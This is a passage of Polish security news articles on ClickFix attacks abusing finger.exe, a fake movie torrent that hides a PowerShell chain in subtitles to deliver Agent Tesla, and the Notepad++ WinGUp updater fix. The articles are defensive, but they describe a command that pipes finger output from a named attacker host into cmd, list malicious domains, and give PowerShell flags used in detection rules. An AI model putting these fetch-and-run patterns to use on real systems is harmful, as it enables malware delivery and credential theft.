O powrocie Finger w ClickFix szerzej pisał BleepingComputer 15 listopada 2025 r., dokumentując próbki, w których polecenia finger ... | cmd pobierały i wykonywały dalszy kod; wskazano też przypadki pobrania archiwum maskującego się jako PDF i finalne wdrożenie NetSupport Manager. Wcześniej Didier Stevens w SANS ISC podsumował właściwości Finger: port 79/TCP i brak obsługi proxy w finger.exe – co tłumaczy, czemu środowiska z proxy explicit są z natury odporne (o ile ruch „na skróty” nie jest dozwolony). Projekty LOLBAS i analizy z lat 2023–2024 opisywały finger.exe jako LOLBIN zdolny do transferu danych (MITRE T1105) oraz potencjalny kanał C2/dostawczy.

Analiza techniczna / szczegóły luki

Przebieg (obserwacje z 11–13 grudnia 2025 r. na podstawie SANS ISC):

  1. Użytkownik trafia na fałszywą stronę CAPTCHA (kampanie KongTuke / SmartApeSG). Strona instruuje, aby uruchomić polecenie (np. w Win+R).
  2. Komenda wywołuje finger.exe do zapytania user@host pod kontrolą atakującego (np. gcaptcha@captchaver[.]top), często z potokiem do cmd (| cmd) lub przekazaniem treści do PowerShell.
  3. Odpowiedź serwera Finger to zwykły tekst, lecz zawiera komendy:
    • wariant PowerShell (Base64) – bezpośrednie wykonanie loadera,
    • wariant downloader – pobranie zawartości (np. z pmidpils[.]com/yhb.jpg), zapis pod losową nazwą i uruchomienie.
  4. Dalszy etap: pobranie archiwum/„PDF”, rozpakowanie modułu (np. Python stealer lub NetSupport Manager RAT), dodanie Scheduled Task dla trwałości, a nierzadko anty-analiza (wykrywanie narzędzi: Wireshark/IDA/x64dbg itp.).
  5. Ruch sieciowy: charakterystyczne połączenia TCP/79 do hostów spoza organizacji; w Wireshark widoczny filtr finger i proste strumienie tekstowe z komendami.

Właściwości Finger istotne dla obrony:

  • Protokół stały port 79/TCP – brak opcji zmiany; finger.exe bez proxy-awareness. Wymuszenie ruchu przez explicit proxy i deny dla direct-to-Internet zwykle łamie łańcuch.
  • Living-off-the-land: finger.exe to LOLBIN (LOLBAS) – obecny na systemach Windows (System32/SysWOW64). Dostępne reguły Sigma i wskazówki detekcyjne (proces + nietypowe połączenia zewnętrzne).

Praktyczne konsekwencje / ryzyko

  • Niski próg ofiary: jeden skrót Win+R → wklej → Enter wystarcza do pełnego „hands-off” pobrania i uruchomienia malware.
  • Omijanie filtracji web: gdy ruch nie jest wymuszony przez proxy, Finger korzysta z portu 79 poza standardowymi kontrolami HTTP/HTTPS, co może ominąć filtrację URL/SSL inspection.
  • Szybka ewolucja: aktorzy dodają anty-analizę, różne łańcuchy downloaderów i payloady (RAT/stealer). Ryzyko kompromitacji stacji końcowej i ruchu bocznego.

Rekomendacje operacyjne / co zrobić teraz

Sieć i kontrola egress

  • Blokuj wyjście TCP/79 na brzegach i w egress ACL (FW, NGFW). Dodaj monitorowanie prób połączeń na ten port.
  • Wymuś explicit proxy dla całego ruchu przeglądarkowego/stacyjnego; zabroń „direct-to-Internet”. finger.exe bez proxy nie zadziała w takim modelu.

Kontrola aplikacji / endpoint

  • Zabroń finger.exe (AppLocker/WDAC/SRP) w środowiskach produkcyjnych; to binarka o marginalnym uzasadnieniu biznesowym. Skoreluj z LOLBAS.
  • EDR/SIEM: alerty na proces-rodzic = cmd.exe/powershell.exe → finger.exe, wystąpienie pipe | cmd, nietypowy port 79. Wykorzystaj reguły Sigma dot. finger.exe.
  • Przeglądarki: blokowanie pop-up/in-page scripts z nieznanych domen; ochrona DNS/HTTP (np. kategorie „Newly Registered Domains”). (Inference uzupełniające dobre praktyki.)

Działania IR/łowienie zagrożeń

  • Szukaj w logach: wklejanie komend z interfejsów Run/CMD/PowerShell tuż przed inicjacją Finger, zdarzenia Sysmon EventID 1/3.
  • Przegląd Scheduled Tasks i autostartów po incydencie; poszukuj śladów NetSupport Manager i nietypowych katalogów tymczasowych.

Świadomość użytkowników

  • Kampanie ClickFix/fake CAPTCHA należy objąć dedykowanym modułem phishingowym: wzorce ekranów, filmiki „jak nie robić Win+R”. (Wniosek zgodny z opisami kampanii, potwierdzany w branżowych raportach.)

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • ClickFix bez Finger: część kampanii używa wyłącznie PowerShell/curl/wget przez HTTP(S) – łatwiejsze do filtrowania przez proxy/URL. Finger dodaje nietypowy port 79 i prosty kanał tekstowy.
  • Ewolucja ClickFix: obserwowane wideo-instrukcje, timery, warianty multi-OS – ale rdzeń socjotechniki (copy-paste komendy) pozostaje. (Kontext branżowy o wzroście złożoności.)

Podsumowanie / kluczowe wnioski

  • Stary protokół ≠ martwy: Finger (TCP/79) pozostaje użyteczny dla atakujących, jeśli organizacja nie wymusza proxy i nie blokuje egress na porty „niszowe”.
  • LOLBIN w roli droppera: finger.exe – jako element systemu – ułatwia dostarczenie poleceń i payloadów, w tym RAT/stealerów.
  • Mitigacja jest prosta: blok na 79/TCP + explicit proxy + blokada finger.exe znacząco obniża skuteczność tych łańcuchów.

Źródła / bibliografia

  1. SANS ISC – „ClickFix Attacks Still Using the Finger” (Brad Duncan), 13 grudnia 2025. (SANS Internet Storm Center)
  2. BleepingComputer – „Decades-old ‘Finger’ protocol abused in ClickFix malware attacks”, 15 listopada 2025. (BleepingComputer)
  3. SANS ISC – „Finger.exe & ClickFix” (Didier Stevens), 16 listopada 2025. (SANS Internet Storm Center)
  4. LOLBAS Project – Finger.exe (ścieżki, detections/Sigma). (lolbas-project.github.io)
  5. Malware-Traffic-Analysis.net – artefakty kampanii KongTuke (przykładowa infekcja z 8 października 2025). (malware-traffic-analysis.net)

Fałszywy torrent „One Battle After Another” ukrywa malware w… napisach. Kampania kończy się infekcją Agent Tesla

Wprowadzenie do problemu / definicja luki

Badacze Bitdefender ostrzegają przed fałszywym torrentem filmu „One Battle After Another” (z Leonardo DiCaprio), który nie tylko zawiera standardowy pakiet „fałszywych plików”, ale wykorzystuje… plik z napisami .srt do uruchomienia złożonego łańcucha loaderów PowerShell. Ostatecznie ofiara zostaje zainfekowana zdalnym trojanem Agent Tesla (RAT/infostealer). O sprawie informuje też BleepingComputer, podkreślając nietypowe ukrycie kodu uruchamianego z poziomu linii konkretnych wierszy napisów.

W skrócie

  • Wejście: użytkownik pobiera torrent z rzekomym filmem; w paczce m.in. plik skrótu CD.lnk, pliki graficzne i napisy Part2.subtitles.srt.
  • Wykonanie/persistencja: CD.lnk wywołuje polecenia, które czytają i wykonują linie 100–103 z .srt, uruchamiając kilka zagnieżdżonych skryptów PowerShell i tworząc ukryte zadanie Harmonogramu Zadań RealtekDiagnostics.
  • Łańcuch dropperów: kolejne etapy odszyfrowują dane z .srt i plików JPG/„m2ts”, instalują narzędzia i ładują finalny Agent Tesla w pamięci (fileless).
  • TTPs (MITRE ATT&CK): PowerShell (T1059.001), Scheduled Task (T1053.005), obfuskacja/dekodowanie danych i wykonanie w pamięci.

Kontekst / historia / powiązania

Wykorzystywanie premier filmowych do dystrybucji malware przez torrenty to stary trik, ale Bitdefender ocenia ten przypadek jako szczególnie złożony i „warstwowy”. W przeszłości widziano podobne nadużycia przy innych tytułach (np. dystrybucja Lumma Stealer), co potwierdzają również niezależne analizy branżowe (ESET, Microsoft TI) – popularne infostealery są szeroko monetyzowane w modelu MaaS i często łączone z pirackimi treściami.

Analiza techniczna / szczegóły luki

Zawartość torrenta
Paczka zawiera m.in.: One Battle After Another.m2ts (w rzeczywistości archiwum), Photo.jpg, Cover.jpg, Part2.subtitles.srt oraz skrót CD.lnk. Kliknięcie skrótu inicjuje cały łańcuch.

Start z pliku .srt
CD.lnk uruchamia polecenie CMD, które czyta Part2.subtitles.srt, wybiera linie 100–103 i wykonuje znajdujący się tam kod wsadowy/PowerShell. Następnie skrypt ponownie otwiera .srt, przeskakuje do dalszych wierszy (np. od 5005) i interpretuje kolejne fragmenty jako kod – to nietypowa technika ukrycia w pozornie niewinnym formacie. Technika mieści się w ATT&CK: T1059.001 PowerShell.

Warstwowe droppery i persystencja
Z .srt wydobywane są szyfrowane (AES) bloki danych, które składają pięć skryptów PowerShell do folderu C:\Users\<USER>\AppData\Local\Microsoft\Diagnostics. Następnie tworzony jest ukryty Scheduled Task RealtekDiagnostics (opis „Audio Helper”), uruchamiający RealtekCodec.bat, co odpowiada T1053.005 (Scheduled Task/Job).

„Multimedia” jako archiwa

  • One Battle After Another.m2ts – służy jako archiwum rozpakowywane z użyciem wbudowanych narzędzi lub WinRAR/7-Zip/Bandizip (LotL).
  • Photo.jpg – zawiera zakodowane bajty kilku plików, dekodowane i zapisywane do katalogu cache diagnostyki dźwięku Windows.
  • Cover.jpg – kolejne „ukryte archiwum” (hasło 1), z którego wypakowywane są pliki wsadowe, skrypty i komponenty (m.in. RealtekAudioService.go).

Finalny payload i tryb fileless
Ostatni etap sprawdza stan Microsoft Defendera, doinstalowuje wymagane składniki (np. środowisko Go), a następnie ładuje Agent Tesla w pamięci bez klasycznego zapisu na dysk, utrudniając detekcję. Agent Tesla od lat służy do kradzieży haseł z przeglądarek, klientów pocztowych, FTP/VPN oraz wykonywania zrzutów ekranu i zdalnej kontroli.

Powiązane techniki (ATT&CK):

  • T1059 / T1059.001 – Command & Scripting Interpreter / PowerShell.
  • T1053.005 – Scheduled Task dla persystencji.
  • TA0003 – taktyka Persistence jako całość.
  • Obfuskacja/ukrywanie ładunków w nietypowych kontenerach (obrazy/„wideo”), dekodowanie i wykonanie w pamięci.

Praktyczne konsekwencje / ryzyko

  • Wykradanie danych uwierzytelniających (przeglądarki, e-maile, VPN/FTP) i przejęcia kont. Agent Tesla jest aktywny od 2014 r. i pozostaje w obiegu z licznymi wariantami.
  • Trwała obecność dzięki zadaniu Harmonogramu i elementom fileless – utrudniona triage i forensyka.
  • Ryzyko wtórnych ataków (np. ransomware, dalsze infostealery), co pokazują trendy na rynku MaaS (np. Lumma).

Rekomendacje operacyjne / co zrobić teraz

Dla SOC/IT:

  1. Blokady & reguły detekcji (EDR/SIEM):
    • Wykrywanie nietypowych odwołań do Part2.subtitles.srt, CD.lnk, katalogu ...\Microsoft\WindowsSoundDiagnostics\Cache, nazw z prefiksem Realtek w ścieżkach AppData.
    • Telemetria na PowerShell z -ep Bypass, -windowstyle hidden, -nop. (T1059.001)
    • Alerty na tworzenie zadań RealtekDiagnostics / autorun z opisem „Audio Helper”. (T1053.005)
  2. Kontrola aplikacji / ASR: zaostrzyć polityki dla PowerShell (Constrained Language Mode), blokady uruchamiania skryptów z katalogów użytkownika, reguły Attack Surface Reduction.
  3. Network: monitorować nietypowe połączenia wychodzące po infekcji (Agent Tesla C2), w razie potrzeby izolować hosty. (Ogólne właściwości rodziny)
  4. IR: jeżeli stwierdzono artefakty, wyczyścić zadania zaplanowane, katalog Cache diagnostyki dźwięku, artefakty w ...\Microsoft\Diagnostics, zresetować hasła w przeglądarkach/klientach poczty/VPN i przeprowadzić pełny hunt pod kątem fileless.

Dla użytkowników (security awareness):

  • Nie pobieraj nowości filmowych z anonimowych torrentów. To jeden z najczęstszych wektorów dla infostealerów.
  • Jeśli już korzystasz z torrentów, otwieraj tylko w sandboxie/VM, nie uruchamiaj skrótów .lnk, nie klikaj „magicznych” plików startowych – film .m2ts/.mkv nie powinien wymagać skrótu i dodatkowych plików wsadowych.
  • Aktualny AV/EDR + automatyczne aktualizacje systemu i przeglądarek.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

W odróżnieniu od typowych kampanii torrentowych, gdzie złośliwy plik to „fałszywy instalator” lub sam film jest nośnikiem steganografii, tutaj kluczowy kod wykonawczy tkwi w pliku napisów .srt i jest wywoływany poprzez precyzyjne odczytanie wybranych linii. To odróżnia kampanię od wielu obserwowanych ostatnio dystrybucji Lumma Stealer, które częściej bazują na phishingu, fałszywych stronach/„CAPTCHA” lub GitHub/Cloud delivery.

Podsumowanie / kluczowe wnioski

  • Kampania jest zaawansowana operacyjnie: wieloetapowy łańcuch PowerShell, obfuskacja, konteneryzacja w obrazach i „wideo”, persistencja przez Scheduled Task oraz fileless końcówka.
  • Celem jest kradzież danych przy użyciu Agent Tesla – nadal popularnego i skutecznego infostealera/RAT.
  • Higiena cyfrowa i kontrola PowerShell + monitorowanie Harmonogramu Zadań to dziś obowiązek w Windowsowej obronie endpointów (ATT&CK: T1059.001, T1053.005).

Źródła / bibliografia

  • Bitdefender Labs – „Fake Leonardo DiCaprio Movie Torrent Drops Agent Tesla Through Layered PowerShell Chain” (10 grudnia 2025). Źródło techniczne kampanii. (Bitdefender)
  • BleepingComputer – wiadomość o kampanii i streszczenie ustaleń (12 grudnia 2025). (BleepingComputer)
  • MITRE ATT&CK – T1059 / T1059.001 (PowerShell), T1053.005 (Scheduled Task/Job), TA0003 (Persistence) – klasyfikacja TTP. (MITRE ATT&CK)
  • Check Point – Agent Tesla Malware – charakterystyka rodziny i możliwości kradzieży danych. (checkpoint.com)
  • Microsoft / ESET – tło dot. Lumma Stealer i trendów w infostealerach (porównanie). (Microsoft)

Notepad++ łata lukę w aktualizatorze WinGUp, która pozwalała podmieniać pliki aktualizacji na złośliwe

Wprowadzenie do problemu / definicja luki

Zespół Notepad++ opublikował wersję 8.8.9, która uszczelnia mechanizm aktualizacji WinGUp po incydentach, w których aktualizator pobierał zamiast legalnych instalatorów — złośliwe pliki wykonywalne. Twórcy opisują zjawisko jako „hijacking ruchu” WinGUp, skutkujący przekierowaniem do fałszywych serwerów aktualizacji. W 8.8.9 wprowadzono weryfikację podpisu i certyfikatu pobieranego instalatora; w razie niepowodzenia aktualizacja jest przerywana.

O incydentach poinformowały media branżowe — m.in. BleepingComputer i heise — wskazując, że aktualizator potrafił pobrać i uruchomić podstawiony plik EXE zamiast nowej wersji edytora.

W skrócie

  • Co się stało? Część żądań aktualizatora WinGUp była „porywana”, co prowadziło do pobrania złośliwego instalatora zamiast prawidłowego pakietu Notepad++.
  • Co naprawiono? Od Notepad++ 8.8.9 WinGUp weryfikuje podpis cyfrowy i łańcuch certyfikatu pobranego instalatora; brak zgodności = przerwanie aktualizacji.
  • Dodatkowe utwardzenie: Już w 8.8.8 wymuszono GitHub.com jako jedyne źródło pobrań przez WinGUp, a 8.8.9 poszła dalej z walidacją podpisów.
  • Status śledztwa: Twórcy nadal ustalają dokładny wektor przechwycenia ruchu.

Kontekst / historia / powiązania

W 2025 r. Notepad++ mierzył się już z innymi kwestiami bezpieczeństwa (np. CVE-2025-49144 w instalatorze oraz zmiany wokół certyfikatu podpisującego), a także z modyfikacjami aktualizatora (aktualizacje cURL w WinGUp). To pokazuje, że łańcuch aktualizacji narzędzia jest aktywnie wzmacniany od kilku wydań.

Równolegle media (The Register, heise) opisywały, że hijacking był już wykorzystywany w praktyce i prowadził do realnych infekcji — stąd pilna publikacja 8.8.9.

Analiza techniczna / szczegóły luki

WinGUp (znany też jako GUP.exe) to niewielki aktualizator uruchamiany z Notepad++: pobiera metadane aktualizacji i wskazany instalator EXE, zapisuje go tymczasowo i uruchamia. Jeśli ruch HTTP(S) zostanie przechwycony lub przekierowany, aktualizator może otrzymać spreparowany URL/plik. Opis sekwencji żądań i działania (pobranie metadanych, URL do EXE, uruchomienie z %TEMP%) potwierdzają niezależne analizy.

Co zmieniono w 8.8.9?

  • Dodano weryfikację podpisu kodu i certyfikatów pobranego instalatora przed jego uruchomieniem. Brak poprawnej weryfikacji → abort aktualizacji.
  • Twórcy podkreślają, że śledztwo wciąż trwa; zatem 8.8.9 to warstwa kontroli, która eliminuje skutki potencjalnego przekierowania, nawet jeśli do niego dojdzie.
  • Wcześniej, w 8.8.8, WinGUp ograniczono do pobrań z GitHub.com, co zmniejsza powierzchnię ataku przez zawężenie zaufanego źródła.

Praktyczne konsekwencje / ryzyko

  • Ryzyko dla użytkowników: możliwość cichej instalacji malware z uprawnieniami użytkownika uruchamiającego aktualizację, potencjalnie eskalowanej dalszymi technikami ataku.
  • Ryzyko dla organizacji: jeżeli stacje robocze automatycznie akceptowały aktualizacje, łańcuch dostaw aktualizacji aplikacji stawał się wektorem wejścia dla atakujących. Media branżowe raportowały realne incydenty.

Rekomendacje operacyjne / co zrobić teraz

  1. Zaktualizuj do Notepad++ 8.8.9 (lub nowszej) na wszystkich hostach. Preferuj instalację ręczną z oficjalnej strony zamiast starego auto-update’u, jeśli pracujesz na wersjach < 8.8.9.
  2. Zweryfikuj podpis instalatora przed wdrożeniem masowym (PowerShell):
    • Get-AuthenticodeSignature .\npp.8.8.9.Installer.x64.exe — status powinien być Valid.
    • (opcjonalnie) Get-FileHash .\npp.8.8.9.Installer.x64.exe -Algorithm SHA256 i porównanie z sumami na GitHub/witrynie projektu.
  3. Odtwórz zaufane źródła aktualizacji w narzędziach proxy/allow-list (domena github.com i oficjalne hosty projektu).
  4. Monitoruj telemetrię EDR/SIEM pod kątem:
    • Nietypowych uruchomień GUP.exe/WinGUp spoza standardowej ścieżki programu,
    • Nowych procesów potomnych instalatora Notepad++ w godzinach nietypowych dla okna serwisowego,
    • Połączeń wychodzących do nieznanych hostów w momencie aktualizacji. (Opis działania GUP pomaga zbudować reguły detekcji.)
  5. Rozważ tymczasowe wyłączenie auto-update’u w starszych wersjach i wykonanie wymuszonego upgrade’u do 8.8.9 z centralnego repozytorium (SCCM/Intune/PDQ).
  6. Segmentacja i zasady egress: ogranicz możliwość kontaktu aktualizatora z internetem jedynie do zaufanych domen; rozważ TLS inspection dla ruchu aktualizacyjnego aplikacji „z długim ogonem”.

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • To nie klasyczny „supply-chain” w stylu podmiany binariów u dostawcy (jak przy atakach na repozytoria). Tu mówimy o przechwyceniu/zmodyfikowaniu ruchu aktualizatora i skierowaniu go do fałszywego źródła, a następnie uruchomieniu pobranego EXE. Wydanie 8.8.9 dodaje krytyczną kontrolę integralności i pochodzenia, która chroni nawet wtedy, gdy komuś uda się wpłynąć na trasowanie ruchu.

Podsumowanie / kluczowe wnioski

  • Luka polegała na tym, że WinGUp mógł uruchomić podmieniony instalator, jeśli ruch został przechwycony/przekierowany.
  • 8.8.9 wprowadza twardą walidację podpisu i certyfikatu, co zamyka najgroźniejszą ścieżkę nadużycia.
  • Jeśli zarządzasz flotą Windows: zaktualizuj natychmiast, egzekwuj weryfikację podpisów, monitoruj anomalię w uruchomieniach GUP.exe i ogranicz aktualizator do zaufanych domen (GitHub).

Źródła / bibliografia

  • Notepad++ — ogłoszenie wydania v8.8.9 (Vulnerability-fix). (notepad-plus-plus.org)
  • BleepingComputer: „Notepad++ fixes flaw that let attackers push malicious update files”. (BleepingComputer)
  • heise: „Notepad++ updater installed malware – v8.8.9 corrects this; 8.8.8 wymusza GitHub jako źródło”. (heise online)
  • The Register: „Notepad++ under attack: hijacking WinGUp traffic to złośliwych serwerów”. (The Register)
  • DoublePulsar: analiza działania GUP/WinGUp i przepływu aktualizacji (gup.xml → EXE w %TEMP%). (DoublePulsar)